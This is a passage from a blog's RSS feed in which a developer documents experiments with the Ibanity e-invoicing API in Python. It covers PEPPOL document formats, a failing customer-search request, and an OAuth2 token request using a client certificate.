    &lt;span class="s2"&gt;&amp;quot;profileId&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;urn:fdc:peppol.eu:2017:poacc:billing:01:1.0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;rootNamespace&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;urn:oasis:names:specification:ubl:schema:xsd:Invoice-2&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;ublVersionId&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;2.1&amp;quot;&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;customizationId&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;urn:cen.eu:en16931:2017#conformant#urn:UBL.BE:1.0.0.20180214&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;localName&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Invoice&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;profileId&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;urn:fdc:peppol.eu:2017:poacc:billing:01:1.0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;rootNamespace&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;urn:oasis:names:specification:ubl:schema:xsd:Invoice-2&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;ublVersionId&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;2.1&amp;quot;&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;customizationId&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;urn:cen.eu:en16931:2017#conformant#urn:UBL.BE:1.0.0.20180214&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;localName&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;CreditNote&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;profileId&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;urn:fdc:peppol.eu:2017:poacc:billing:01:1.0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;rootNamespace&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;urn:oasis:names:specification:ubl:schema:xsd:CreditNote-2&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;ublVersionId&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;2.1&amp;quot;&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;customizationId&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;urn:cen.eu:en16931:2017#compliant#urn:fdc:peppol.eu:2017:poacc:billing:3.0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;localName&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;CreditNote&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;profileId&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;urn:fdc:peppol.eu:2017:poacc:billing:01:1.0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;rootNamespace&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;urn:oasis:names:specification:ubl:schema:xsd:CreditNote-2&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;ublVersionId&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;2.1&amp;quot;&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;customizationId&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;urn:cen.eu:en16931:2017#compliant#urn:fdc:nen.nl:nlcius:v1.0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;localName&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Invoice&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;profileId&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;urn:fdc:peppol.eu:2017:poacc:billing:01:1.0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;rootNamespace&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;urn:oasis:names:specification:ubl:schema:xsd:Invoice-2&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;ublVersionId&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;2.1&amp;quot;&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;customizationId&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;urn:cen.eu:en16931:2017#compliant#urn:fdc:nen.nl:nlcius:v1.0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;localName&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;CreditNote&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;profileId&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;urn:fdc:peppol.eu:2017:poacc:billing:01:1.0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;rootNamespace&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;urn:oasis:names:specification:ubl:schema:xsd:CreditNote-2&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;ublVersionId&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;2.1&amp;quot;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;peppolCustomerSearch&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="c1"&gt;# &amp;quot;id&amp;quot;: str(uuid.uuid4()),&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;attributes&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;&amp;quot;customerReference&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;eas&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;vat_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="c1"&gt;# &amp;quot;supportedDocumentFormats&amp;quot;: doc_formats&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;# data = {&amp;quot;data&amp;quot;: data}&lt;/span&gt;
&lt;span class="n"&gt;pprint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;POST &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; returned &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;rv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;pprint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Out of intuition I tried to change the “Content-Type” header from
“application/vnd.api+json” to “application/x-www-form-urlencoded”.&lt;/p&gt;
&lt;p&gt;And with the new Content-Type I get a new result:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;POST&lt;/span&gt; &lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ibanity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;einvoicing&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;customer&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;searches&lt;/span&gt; &lt;span class="n"&gt;returned&lt;/span&gt; &lt;span class="mi"&gt;404&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;errors&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:[{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;code&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;resourceNotFound&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;detail&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;The route you are trying to reach was not found.&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;}]}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I tried all kind of variants of structuring the payload, and I added more
information copied from the API docs example (&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;supportedDocumentFormats&lt;/span&gt;&lt;/code&gt; and
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;id&lt;/span&gt;&lt;/code&gt;), but the response is always the same.&lt;/p&gt;
&lt;p&gt;I don’t even know whether this result is better than &lt;a class="reference internal" href="0118.html"&gt;&lt;span class="doc"&gt;yesterday&lt;/span&gt;&lt;/a&gt; or
not :-/&lt;/p&gt;
&lt;p&gt;The story goes on here: &lt;a class="reference internal" href="0123.html"&gt;&lt;span class="doc"&gt;Playing with Ibanity (continued)&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0122.html</guid><pubDate>Wed, 22 Jan 2025 00:00:00 +0000</pubDate></item><item><title>Playing with Ibanity (continued)</title><link>https://luc.lino-framework.org/blog/2025/0118.html</link><description>&lt;section id="playing-with-ibanity-continued"&gt;
&lt;h1&gt;Playing with Ibanity (continued)&lt;a class="headerlink" href="#playing-with-ibanity-continued" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Saturday, January 18, 2025&lt;/p&gt;
&lt;p&gt;I continued to play with Ibanity, based on what I learned &lt;a class="reference internal" href="0114.html"&gt;&lt;span class="doc"&gt;some days ago&lt;/span&gt;&lt;/a&gt;. I successfully requested &lt;a class="reference external" href="https://documentation.ibanity.com/einvoicing/1/api/curl#request-access-token"&gt;an access token&lt;/a&gt;,
but how can I use this to send an outbound invoice? I do have an XML file
generated by TIM or Lino as described in &lt;a class="reference external" href="https://dev.lino-framework.org/topics/peppol.html"&gt;Lino and eInvoicing (PEPPOL)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Here is the script I used today:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;pathlib&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;base64&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;json&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;pprint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pprint&lt;/span&gt;

&lt;span class="c1"&gt;# Set EXAMPLE to 1 or 2, see https://luc.lino-framework.org/blog/2025/0118.html&lt;/span&gt;
&lt;span class="n"&gt;EXAMPLE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;

&lt;span class="c1"&gt;# Define client ID and secret&lt;/span&gt;
&lt;span class="n"&gt;client_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;69d85961-7d68-474d-9ac2-426fdc71bab8&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;client_secret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;valid_client_secret&amp;quot;&lt;/span&gt;

&lt;span class="c1"&gt;# Define certificate and key file paths&lt;/span&gt;
&lt;span class="n"&gt;cert_dir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;~/Documents/ibanity/application_&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;client_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;expanduser&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;cert_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cert_dir&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;certificate.pem&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;key_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cert_dir&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;decrypted_private_key.pem&amp;quot;&lt;/span&gt;

&lt;span class="c1"&gt;# Validate if the key and certificate files exist&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;cert_file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exists&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Error: Certificate file not found at &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;cert_file&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;key_file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exists&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Error: Private key file not found at &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;key_file&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Base64 encode client_id and client_secret for Basic Auth&lt;/span&gt;
&lt;span class="n"&gt;client_credentials&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;client_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;client_secret&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;encoded_credentials&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;b64encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;client_credentials&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# Create an HTTPS session&lt;/span&gt;
&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Session&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# Attach client certificate and key to the session&lt;/span&gt;
&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cert&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cert_file&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key_file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Add the Authorization header&lt;/span&gt;
&lt;span class="n"&gt;headers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;Authorization&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Basic &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;encoded_credentials&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;Content-Type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;application/x-www-form-urlencoded&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;# Required for OAuth2 requests&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;https://api.ibanity.com/einvoicing/oauth2/token&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;grant_type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;client_credentials&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exceptions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SSLError&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;SSL Error: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;. Please ensure your certificate and private key are correct and properly configured.&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exceptions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;RequestException&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
